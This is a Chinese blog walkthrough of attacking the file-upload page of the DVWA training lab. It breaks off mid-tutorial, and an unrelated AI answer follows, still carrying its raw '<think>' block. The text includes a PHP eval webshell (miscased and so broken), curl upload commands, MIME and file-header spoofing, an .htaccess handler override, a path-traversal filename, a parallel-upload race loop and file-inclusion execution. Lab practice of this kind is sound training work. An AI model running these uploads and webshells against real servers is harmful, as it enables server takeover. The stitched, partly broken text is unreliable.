DVWA系列(九)——使用Burpsuite进行File Upload(文件上传)

本文介绍了DVWA中的文件上传(File Upload)漏洞,包括安全级别Low和Medium的分析与利用。通过Burpsuite工具,演示了文件上传漏洞的利用方法,如修改Content-Type、%00截断等技巧,以及在不同安全级别下的绕过策略。同时,文章指出文件上传的安全措施,如文件类型和大小限制、内容检查等。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1. 文件包含(File Upload)漏洞简介

(1)文件上传

File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限;

这里上传的文件可以是木马,病毒,恶意脚本等。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果;

(2)文件上传漏洞的前提条件

   能上传木马

   上传的木马能执行

   还要清楚上传后的路径

2. 文件上传(File Upload)

实验环境

(1)Windows服务器:Windows  Server 2003,IP地址:192.168.37.136;

(2) Linux服务器:192.168.37.135

(3) 测试机:Windows7物理机(开启代理,代理服务器为burpsuite)

(4) 工具:抓包工具:Burpsuite; 中国菜刀:Cknife

实验过程——Windows

安全级别:Low

(1)设置安全级别

(2)查看源码

(3)源码分析

 basename(path,suffix) 函数返回路径中的文件名部分。Path是必须参数,规定要检查的路径;suffix是可选参数,规定文件的扩展名,如果文件有 suffix,则不会输出这个扩展名;

服务器对用户上传的文件没有做筛选和检查

生成上传路径后,服务器会检查是否上传成功;

(4)实验操作

4.1> 上传一句话木马(low.php)

<?php @eval($_Post[cmd]);?>

木马文件上传的路径为:http://192.168.37.136/DVWA/hackable/uploads/low.php

4.2> 使用中国菜刀查询,获取webshell权限

<think>好的,用户之前已经询问过关于文件上传漏洞检测方法的实验,现在他们再次提问,但这次的条件是只能使用Kali LinuxDVWA,没有Burp Suite。我需要调整之前的回答,去掉Burp Suite的部分,转而利用Kali自带的工具或其他方法来替代。 首先,用户的需求很明确,他们想要进行检测文件上传漏洞的实验,但缺少Burp Suite这个关键工具。作为替代,Kali Linux本身有很多内置工具,比如curl、wget、浏览器开发者工具,甚至可以使用Python脚本来手动构造HTTP请求。 接下来,我需要回顾之前的实验步骤,看看哪些部分依赖Burp Suite。例如,绕过客户端验证时通常需要拦截和修改HTTP请求,而Burp Suite是用来做这个的。现在,用户没有Burp,可能需要使用浏览器开发者工具来禁用JavaScript,或者使用命令行工具如curl来发送修改后的请求。 另一个重点是服务端扩展名检查的绕过。在没有Burp的情况下,如何修改文件名后缀?可能需要手动构造POST请求,或者直接修改前端HTML表单的输入,比如禁用JavaScript验证,或者在保存文件时更改扩展名。 文件内容验证的绕过,比如伪造MIME类型,通常需要修改请求头中的Content-Type字段。这时候如果没有Burp,可能需要使用命令行工具如curl来手动设置请求头,或者使用Python的requests库来发送自定义请求。 此外,路径遍历和条件竞争漏洞的检测,可能不需要Burp,可以通过直接修改文件名进行测试,或者编写脚本快速上传文件来触发竞争条件。 需要注意的是,用户可能对Kali Linux中的工具不太熟悉,所以需要详细说明替代方法的具体步骤,比如如何使用curl命令、如何利用浏览器工具禁用JS等。同时,确保实验步骤在DVWA环境中可行,因为DVWA的不同安全级别会影响测试结果。 最后,验证实验结果的部分也需要调整,比如直接访问上传的文件路径,或者结合DVWA中的文件包含漏洞来执行上传的恶意文件。还要提醒用户注意DVWA安全级别设置,确保实验环境正确配置。 总结来说,我需要将原实验指南中依赖Burp Suite的部分替换为KaliDVWA自带或可用的工具和方法,确保用户在没有Burp的情况下仍能完成所有测试步骤,并详细说明每一步的操作,使其易于理解和执行。</think>--- ### **无 Burp Suite 的文件上传漏洞检测实验指南** **仅使用 Kali LinuxDVWA 环境** --- #### **实验目标** 在不依赖 Burp Suite 的情况下,利用 Kali Linux 内置工具和 DVWA 靶场,验证文件上传漏洞的检测方法。 --- ### **环境准备** 1. **Kali Linux**:自带命令行工具(如 `curl`、`wget`)和脚本能力。 2. **DVWA 配置**: - 将 DVWA 安全级别设置为 **Low**(便于漏洞复现)。 - 确保文件上传功能可用(访问 `http://dvwa_ip/vulnerabilities/upload/`)。 --- ### **实验步骤与检测方法** --- #### **1. 绕过客户端验证(前端检测)** - **目标**:验证是否仅依赖前端 JavaScript 过滤文件类型。 - **操作步骤**: 1. **禁用浏览器 JavaScript**: - 在浏览器中按 `F12` 打开开发者工具 → 进入 **Settings/Preferences** → 禁用 JavaScript。 - 直接上传 `.php` 文件(如 `shell.php`),观察是否成功。 2. **直接修改 HTML 表单**: - 在 DVWA 上传页面按 `F12`,找到文件上传表单的 HTML 代码。 - 删除或修改 `accept="image/*"` 属性,绕过前端限制。 3. **使用 `curl` 上传文件**(完全绕过浏览器): ```bash # 替换以下参数: # dvwa_ip: DVWA 的 IP 地址 # PHPSESSID: 登录后的 Cookie 值 # file_to_upload: 本地文件路径(如 shell.php) curl -X POST \ -F 'Upload=Upload' \ -F 'uploaded=@./shell.php' \ -H 'Cookie: security=low; PHPSESSID=your_session_id' \ "http://dvwa_ip/vulnerabilities/upload/" ``` 4. **验证结果**: - 访问上传路径 `http://dvwa_ip/hackable/uploads/shell.php`,若返回成功执行代码,说明漏洞存在。 --- #### **2. 绕过服务端扩展名检查** - **目标**:测试黑名单/白名单绕过。 ##### **方法 1:黑名单绕过** 1. **尝试非常见扩展名**: - 上传 `shell.php5`、`shell.phtml`(某些服务器配置允许解析)。 - 使用 `curl` 或浏览器直接上传。 2. **大小写混淆**: - 上传 `shell.PhP` 或 `shell.PHp`。 3. **双扩展名绕过**: - 上传 `shell.jpg.php`,利用服务端仅检查最后一个扩展名的漏洞。 ##### **方法 2:白名单绕过** 1. **上传 `.htaccess` 文件**(仅适用于 Apache 服务器): - 创建文件 `.htaccess`,内容为: ``` AddType application/x-httpd-php .jpg ``` - 上传 `.htaccess`,再上传 `shell.jpg`(包含 PHP 代码)。 - 访问 `http://dvwa_ip/hackable/uploads/shell.jpg` 验证是否解析。 --- #### **3. 绕过文件内容验证** - **目标**:伪造文件类型和内容。 ##### **方法 1:伪造 MIME 类型** 1. **使用 `curl` 手动设置 Content-Type**: ```bash # 上传一个 PHP 文件,但声明为 image/jpeg curl -X POST \ -F 'Upload=Upload' \ -F 'uploaded=@./shell.php;type=image/jpeg' \ -H 'Cookie: security=low; PHPSESSID=your_session_id' \ "http://dvwa_ip/vulnerabilities/upload/" ``` ##### **方法 2:伪造文件头签名** 1. **使用 Kali 内置工具生成混合文件**: - 创建合法 JPEG 文件头 + PHP 代码: ```bash echo -e "\xFF\xD8\xFF\xE0<?php echo 'Vulnerable!'; ?>" > fake.jpg.php ``` - 上传 `fake.jpg.php`,检查是否绕过检测。 --- #### **4. 路径遍历与条件竞争漏洞** ##### **方法 1:路径遍历上传** 1. **通过文件名注入目录穿越**: - 上传文件名为 `../shell.php`,尝试将文件写入上级目录。 - 使用 `curl` 上传: ```bash curl -X POST \ -F 'Upload=Upload' \ -F 'uploaded=@./shell.php;filename=../shell.php' \ -H 'Cookie: security=low; PHPSESSID=your_session_id' \ "http://dvwa_ip/vulnerabilities/upload/" ``` - 检查 `http://dvwa_ip/hackable/shell.php` 是否存在。 ##### **方法 2:条件竞争攻击** 1. **使用 Shell 脚本快速多次上传**: ```bash # 生成一个大文件(1GB) dd if=/dev/zero of=large_file.jpg bs=1M count=1024 # 循环上传文件 for i in {1..100}; do curl -X POST \ -F 'Upload=Upload' \ -F "uploaded=@./large_file.jpg" \ -H 'Cookie: security=low; PHPSESSID=your_session_id' \ "http://dvwa_ip/vulnerabilities/upload/" & done ``` - 在服务器删除临时文件前,尝试访问临时路径触发代码执行。 --- ### **实验结果验证** 1. **直接访问上传文件**: - 在浏览器中访问 `http://dvwa_ip/hackable/uploads/shell.php`,观察是否执行。 2. **结合文件包含漏洞**: - 在 DVWA 文件包含漏洞页面(`File Inclusion`)尝试包含上传的文件: ``` http://dvwa_ip/vulnerabilities/fi/?page=file:///var/www/html/dvwa/hackable/uploads/shell.php ``` --- ### **防御方案验证** 1. **在 DVWA 的 Impossible 级别测试**: - 安全级别设置为 **Impossible**,重复上述步骤,观察是否防御以下攻击: - 文件重命名(如哈希值命名)。 - 内容严格检查(如二次渲染图像)。 - 上传目录禁止执行脚本。 --- ### **替代工具说明** - **curl/wget**:替代 Burp Suite 发送自定义 HTTP 请求。 - **浏览器开发者工具**:禁用 JavaScript、修改 HTML 表单、监控网络请求。 - **Kali 内置脚本能力**:通过 Shell/Python 自动化攻击流程。 --- 通过以上方法,无需 Burp Suite 也可系统性检测文件上传漏洞,适合仅依赖 KaliDVWA 的实验环境。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值